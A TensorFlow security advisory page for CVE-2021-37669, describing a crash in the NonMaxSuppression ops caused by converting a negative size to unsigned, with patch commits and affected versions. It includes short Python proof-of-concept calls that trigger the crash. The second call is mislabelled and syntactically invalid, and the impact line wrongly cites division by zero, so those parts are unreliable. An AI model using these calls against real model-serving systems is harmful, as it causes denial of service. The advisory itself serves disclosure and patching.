CWE
681
Advisory Published
Advisory Published
Updated

CVE-2021-37669: Crash in NMS ops caused by integer conversion to unsigned in TensorFlow

First published: Thu Aug 12 2021(Updated: )

### Impact An attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0: ```python import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]], scores=[1.0,2.0,3.0], max_output_size=-1, iou_threshold=0.5, score_threshold=0.5, soft_nms_sigma=1.0, pad_to_max_output_size=True) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`: ```cc const int output_size = max_output_size.scalar<int>()(); // ... std::vector<int> selected; // ... if (pad_to_max_output_size) { selected.resize(output_size, 0); // ... } ``` However, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to usigned. If the attacker supplies a negative value, this conversion results in a crash. A similar issue occurs in `CombinedNonMaxSuppression`: ```python import tensorflow as tf tf.raw_ops.NonMaxSuppressionV5( boxes=[[[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]],[[0.1,0.1,0.1,0.1],[0.2,0.2,0.2,0.2],[0.3,0.3,0.3,0.3]]]], scores=[[[1.0,2.0,3.0],[1.0,2.0,3.0],[1.0,2.0,3.0]]], max_output_size_per_class=-1, max_total_size=10, iou_threshold=score_threshold=0.5, pad_per_class=True, clip_boxes=True) ``` ### Patches We have patched the issue in GitHub commit [3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d](https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d) and commit [b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58](https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Credit: security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
Google TensorFlow>=2.3.0<2.3.4
Google TensorFlow>=2.4.0<2.4.3
Google TensorFlow=2.5.0
Google TensorFlow=2.6.0-rc0
Google TensorFlow=2.6.0-rc1
Google TensorFlow=2.6.0-rc2
pip/tensorflow-gpu=2.5.0
2.5.1
pip/tensorflow-gpu>=2.4.0<2.4.3
2.4.3
pip/tensorflow-gpu<2.3.4
2.3.4
pip/tensorflow-cpu=2.5.0
2.5.1
pip/tensorflow-cpu>=2.4.0<2.4.3
2.4.3
pip/tensorflow-cpu<2.3.4
2.3.4
pip/tensorflow=2.5.0
2.5.1
pip/tensorflow>=2.4.0<2.4.3
2.4.3
pip/tensorflow<2.3.4
2.3.4
>=2.3.0<2.3.4
>=2.4.0<2.4.3
=2.5.0
=2.6.0-rc0
=2.6.0-rc1
=2.6.0-rc2

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203